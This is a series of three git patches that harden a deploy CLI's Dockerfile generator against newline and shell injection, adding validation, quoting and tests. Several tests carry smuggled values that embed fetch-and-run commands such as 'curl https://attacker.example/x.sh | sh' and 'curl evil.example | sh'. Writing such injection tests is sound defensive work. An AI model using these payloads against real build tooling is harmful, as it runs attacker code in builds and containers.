From 612362e6fa3eb61d142060a9514821abfe8a8b87 Mon Sep 17 00:00:00 2001 From: Herdiyan Adam Putra Date: Sun, 2 Aug 2026 19:34:33 +0700 Subject: [PATCH 1/3] fix(deploy): reject unsafe appName/project/region in generated Dockerfile MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit createDockerFileContent interpolated options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping. Since Dockerfile instructions are newline- delimited and the CMD line runs through /bin/sh at container start, a value containing a newline or shell metacharacters breaks out of its instruction: appName is derived by default from the basename of the agent path passed to `adk deploy cloud_run`/`adk deploy agent_engine` (only overridden by an explicit --app_name), so a maliciously-named agent directory or file — e.g. from a shared/cloned agent template a developer didn't author themselves — injects arbitrary Dockerfile instructions executed during `docker build` and/or arbitrary shell commands in the deployed container's CMD. Add assertSafeDockerfileToken, restricting these three values to a plain identifier (letters, digits, dot, dash, underscore) before they're ever embedded in the Dockerfile content, applied once in the shared createDockerFileContent so both deploy commands are covered. Confirmed by executing the function directly: a crafted appName previously produced a Dockerfile with a standalone injected RUN instruction; it's now rejected before any file is written. --- dev/src/cli/deploy/deploy_utils.ts | 25 +++++++++++++++ dev/test/cli/cli_deploy_cloud_run_test.ts | 39 +++++++++++++++++++++++ 2 files changed, 64 insertions(+) diff --git a/dev/src/cli/deploy/deploy_utils.ts b/dev/src/cli/deploy/deploy_utils.ts index 62cf1933e..91ba8ce40 100644 --- a/dev/src/cli/deploy/deploy_utils.ts +++ b/dev/src/cli/deploy/deploy_utils.ts @@ -56,9 +56,34 @@ export interface BaseDeployOptions extends CreateDockerFileContentOptions { agentFileLoadOptions?: AgentFileOptions; } +// Dockerfile instructions and the generated CMD's shell form have no +// generic escaping mechanism for interpolated values: a newline breaks out +// of the current instruction to start a new one, and shell metacharacters in +// the CMD line are interpreted by /bin/sh at container start. Restricting +// these values to a plain identifier closes both at once, since none of them +// (an agent name, a GCP project ID, or a GCP region) legitimately need +// anything outside this set. +const SAFE_DOCKERFILE_TOKEN_RE = /^[A-Za-z0-9_.-]{1,128}$/; + +function assertSafeDockerfileToken(value: string, label: string): void { + if (!SAFE_DOCKERFILE_TOKEN_RE.test(value)) { + throw new Error( + `Invalid ${label} "${value}": must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`, + ); + } +} + export function createDockerFileContent( options: CreateDockerFileContentOptions, ): string { + assertSafeDockerfileToken(options.project, 'project'); + if (options.region) { + assertSafeDockerfileToken(options.region, 'region'); + } + if (options.appName) { + assertSafeDockerfileToken(options.appName, 'appName'); + } + const adkCommand = options.withUi ? 'web' : 'api_server'; const adkServerOptions = [`--port=${options.port}`, '--host=0.0.0.0']; diff --git a/dev/test/cli/cli_deploy_cloud_run_test.ts b/dev/test/cli/cli_deploy_cloud_run_test.ts index e79bed848..6417bc765 100644 --- a/dev/test/cli/cli_deploy_cloud_run_test.ts +++ b/dev/test/cli/cli_deploy_cloud_run_test.ts @@ -112,6 +112,45 @@ describe('createDockerFileContent', () => { expect(content).toContain('--allow_origins=http://example.com'); expect(content).toContain('--otel_to_cloud'); }); + + it('should reject an appName that would break out of the generated Dockerfile', () => { + // A newline lets an attacker-controlled agent directory name terminate + // the COPY instruction it's embedded in and start a new Dockerfile + // instruction (e.g. RUN), executed during `docker build`. + expect(() => + createDockerFileContent({ + ...defaultOptions, + appName: 'x"\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid appName/); + }); + + it('should reject a project that would break out of the generated Dockerfile', () => { + expect(() => + createDockerFileContent({ + ...defaultOptions, + project: 'p\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid project/); + }); + + it('should reject a region that would inject a shell command into the container CMD', () => { + expect(() => + createDockerFileContent({ + ...defaultOptions, + region: 'us-central1; curl https://attacker.example/x.sh | sh #', + }), + ).toThrow(/Invalid region/); + }); + + it('should still accept appName/project/region containing dots, dashes, and underscores', () => { + const content = createDockerFileContent({ + ...defaultOptions, + appName: 'my-agent_v2.1', + project: 'my-project.example-123', + }); + expect(content).toContain('agents/my-agent_v2.1/'); + }); }); describe('deployToCloudRun', () => { From e283fd039130450ec33c1b6d0f7961ab29e7613f Mon Sep 17 00:00:00 2001 From: Herdiyan Adam Putra Date: Tue, 4 Aug 2026 19:26:16 +0700 Subject: [PATCH 2/3] fix(deploy): close remaining CMD-line injection via logLevel/allowOrigins/*ServiceUri logLevel, allowOrigins, sessionServiceUri and artifactServiceUri were still interpolated raw into the generated Dockerfile's CMD line, so a newline in any of them broke out of that instruction the same way appName did, and shell metacharacters reached /bin/sh at container start. These values are free-form (URIs, comma-separated lists) so they can't be restricted to the plain-identifier token used for appName/project/region; instead reject embedded newlines and single-quote-escape them for the shell. Also: error messages now JSON.stringify the rejected value instead of interpolating it raw, and the region rejection test now uses a newline payload since region only reaches the ENV line, not the shell-interpreted CMD line. --- dev/src/cli/deploy/deploy_utils.ts | 37 ++++++++++++-- dev/test/cli/cli_deploy_cloud_run_test.ts | 62 +++++++++++++++++++++-- 2 files changed, 91 insertions(+), 8 deletions(-) diff --git a/dev/src/cli/deploy/deploy_utils.ts b/dev/src/cli/deploy/deploy_utils.ts index 91ba8ce40..41316b674 100644 --- a/dev/src/cli/deploy/deploy_utils.ts +++ b/dev/src/cli/deploy/deploy_utils.ts @@ -68,11 +68,30 @@ const SAFE_DOCKERFILE_TOKEN_RE = /^[A-Za-z0-9_.-]{1,128}$/; function assertSafeDockerfileToken(value: string, label: string): void { if (!SAFE_DOCKERFILE_TOKEN_RE.test(value)) { throw new Error( - `Invalid ${label} "${value}": must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`, + `Invalid ${label} ${JSON.stringify(value)}: must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`, ); } } +// logLevel, allowOrigins, sessionServiceUri and artifactServiceUri are +// free-form (a service URI can carry credentials, allowOrigins is a +// comma-separated list) so they can't be restricted to the plain-identifier +// token above. They only reach the Dockerfile's CMD line, so a newline in +// any of them still breaks out of that instruction the same way appName +// does, and once inside the CMD line they're read by /bin/sh at container +// start, so shell metacharacters must be neutralized too. +function assertNoDockerfileNewline(value: string, label: string): void { + if (/[\r\n]/.test(value)) { + throw new Error( + `Invalid ${label} ${JSON.stringify(value)}: must not contain newline characters to be safely embedded in the generated Dockerfile.`, + ); + } +} + +function shellQuote(value: string): string { + return `'${value.replace(/'/g, `'\\''`)}'`; +} + export function createDockerFileContent( options: CreateDockerFileContentOptions, ): string { @@ -88,21 +107,29 @@ export function createDockerFileContent( const adkServerOptions = [`--port=${options.port}`, '--host=0.0.0.0']; if (options.logLevel) { - adkServerOptions.push(`--log_level=${options.logLevel}`); + assertNoDockerfileNewline(options.logLevel, 'logLevel'); + adkServerOptions.push(`--log_level=${shellQuote(options.logLevel)}`); } if (options.allowOrigins) { - adkServerOptions.push(`--allow_origins=${options.allowOrigins}`); + assertNoDockerfileNewline(options.allowOrigins, 'allowOrigins'); + adkServerOptions.push( + `--allow_origins=${shellQuote(options.allowOrigins)}`, + ); } if (options.artifactServiceUri) { + assertNoDockerfileNewline(options.artifactServiceUri, 'artifactServiceUri'); adkServerOptions.push( - `--artifact_service_uri=${options.artifactServiceUri}`, + `--artifact_service_uri=${shellQuote(options.artifactServiceUri)}`, ); } if (options.sessionServiceUri) { - adkServerOptions.push(`--session_service_uri=${options.sessionServiceUri}`); + assertNoDockerfileNewline(options.sessionServiceUri, 'sessionServiceUri'); + adkServerOptions.push( + `--session_service_uri=${shellQuote(options.sessionServiceUri)}`, + ); } if (options.otelToCloud) { diff --git a/dev/test/cli/cli_deploy_cloud_run_test.ts b/dev/test/cli/cli_deploy_cloud_run_test.ts index 6417bc765..0910c72da 100644 --- a/dev/test/cli/cli_deploy_cloud_run_test.ts +++ b/dev/test/cli/cli_deploy_cloud_run_test.ts @@ -109,10 +109,63 @@ describe('createDockerFileContent', () => { allowOrigins: 'http://example.com', otelToCloud: true, }); - expect(content).toContain('--allow_origins=http://example.com'); + expect(content).toContain("--allow_origins='http://example.com'"); expect(content).toContain('--otel_to_cloud'); }); + it('should reject logLevel/allowOrigins/sessionServiceUri/artifactServiceUri containing a newline', () => { + // These reach the shell-interpreted CMD line via adkServerOptions, so a + // newline in any of them breaks out of that Dockerfile instruction the + // same way appName/project/region do. + for (const [label, value] of [ + ['logLevel', {logLevel: 'info\nRUN sh -c "curl evil.example|sh"\n#'}], + [ + 'allowOrigins', + {allowOrigins: 'http://a\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + [ + 'sessionServiceUri', + {sessionServiceUri: 'memory://\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + [ + 'artifactServiceUri', + {artifactServiceUri: 'gs://b\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + ] as const) { + expect(() => + createDockerFileContent({...defaultOptions, ...value}), + ).toThrow(new RegExp(`Invalid ${label}`)); + } + }); + + it('should shell-quote logLevel/allowOrigins/sessionServiceUri/artifactServiceUri in the CMD line', () => { + // These values reach /bin/sh at container start via the CMD line's + // shell form, so shell metacharacters must be neutralized by quoting. + const content = createDockerFileContent({ + ...defaultOptions, + logLevel: 'info; curl evil.example | sh #', + sessionServiceUri: 'memory://; curl evil.example | sh #', + artifactServiceUri: 'gs://bucket; curl evil.example | sh #', + }); + expect(content).toContain("--log_level='info; curl evil.example | sh #'"); + expect(content).toContain( + "--session_service_uri='memory://; curl evil.example | sh #'", + ); + expect(content).toContain( + "--artifact_service_uri='gs://bucket; curl evil.example | sh #'", + ); + }); + + it('should escape an embedded single quote when shell-quoting', () => { + const content = createDockerFileContent({ + ...defaultOptions, + logLevel: "info'; curl evil.example | sh #", + }); + expect(content).toContain( + "--log_level='info'\\''; curl evil.example | sh #'", + ); + }); + it('should reject an appName that would break out of the generated Dockerfile', () => { // A newline lets an attacker-controlled agent directory name terminate // the COPY instruction it's embedded in and start a new Dockerfile @@ -134,11 +187,14 @@ describe('createDockerFileContent', () => { ).toThrow(/Invalid project/); }); - it('should reject a region that would inject a shell command into the container CMD', () => { + it('should reject a region that would start a new Dockerfile instruction', () => { + // region only reaches the ENV GOOGLE_CLOUD_LOCATION= line, not the + // shell-interpreted CMD line, so the vector here is a newline breaking + // out of that instruction, not a shell metacharacter. expect(() => createDockerFileContent({ ...defaultOptions, - region: 'us-central1; curl https://attacker.example/x.sh | sh #', + region: 'us-central1\nRUN curl https://attacker.example/x.sh | sh\n#', }), ).toThrow(/Invalid region/); }); From 98be2c67b34611c1daad7fc3df742e259b2b24b3 Mon Sep 17 00:00:00 2001 From: Herdiyan Adam Putra Date: Tue, 4 Aug 2026 19:32:18 +0700 Subject: [PATCH 3/3] test(deploy): assert project survives the accept-case alongside appName Per review: the "should still accept dots/dashes/underscores" case only asserted appName made it into the Dockerfile, not project. --- dev/test/cli/cli_deploy_cloud_run_test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/dev/test/cli/cli_deploy_cloud_run_test.ts b/dev/test/cli/cli_deploy_cloud_run_test.ts index 0910c72da..121a561ce 100644 --- a/dev/test/cli/cli_deploy_cloud_run_test.ts +++ b/dev/test/cli/cli_deploy_cloud_run_test.ts @@ -206,6 +206,7 @@ describe('createDockerFileContent', () => { project: 'my-project.example-123', }); expect(content).toContain('agents/my-agent_v2.1/'); + expect(content).toContain('GOOGLE_CLOUD_PROJECT=my-project.example-123'); }); });